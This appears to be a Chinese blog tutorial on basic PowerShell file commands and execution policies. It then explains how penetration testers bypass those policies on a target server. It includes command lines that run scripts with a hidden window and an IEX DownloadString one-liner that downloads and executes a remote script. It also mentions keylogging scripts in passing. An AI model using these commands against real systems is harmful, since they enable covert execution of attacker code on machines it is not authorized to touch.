# PowerShell基本命令和绕过权限执行
# 基本命令
以文件操作为例
# 新建目录
New-Item whitecellclub-ItemType Directory
1
# 新建文件
New-Item light.txt-ItemType File
1
# 删除目录
Remove-Item whitecellclub
1
# 显示文件内容
Get-Content test.txt
1
# 设置文本内容
Set-Content test.txt-Value"Hello World!"
1
# 追加内容
Add-Content light.txt-Value"i love you"
1
# 清除内容
Clear-Content test.txt
1
# 执行策略
获取执行策略
Get-ExecutionPolicy
1
策略分以下几种:
- Restricted: 脚本不能执行(默认)
- RemoteSigned: 本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
- AllSigned: 仅当脚本由受信任的发布者签名时才能运行。
- Unrestricted: 允许所有的script运行
可以使用如下命令格式设置PowerShell的执行策略
Set-ExecutionPolicy <Policy name>
1
# 绕过策略来执行脚本
如果要运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以,在渗透时,需要采用一些方法绕过策略来执行脚本
# 绕过本地权限执行
上传xxx.ps1到目标服务器,在CMD环境下,在目标服务器本地执行该脚本
PowerShell.exe-ExecutionPolicy Bypass-File xxx.ps1
1
# 本地隐藏绕过权限执行脚本
PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoLogo-NonInteractive-NoProfile-File xxx.ps1
1
# 用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-Nonl IEX (New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
1
以上命令的参数说明:
- ExecutionPolicy Bypass : 绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
- WindowStyle Hidden : 隐藏窗口
- NoLogo : 启动不显示版权标志的PowerShell
- NonInteractive (-Nonl) : 非交互模式,PowerShell不为用户提供交互的提示
- NoProfile (-Nop): PowerShell控制台不加载当前用户的配置文件
- Noexit : 执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
- PowerShell脚本在默认情况下无法直接运行,这时就可以使用上述三种方法绕过安全策略,运行PowerShell脚本。
# 写在最后
如果你觉得冰河写的还不错,请微信搜索并关注「 冰河技术 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 冰河技术 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 冰河技术 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 冰河技术 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!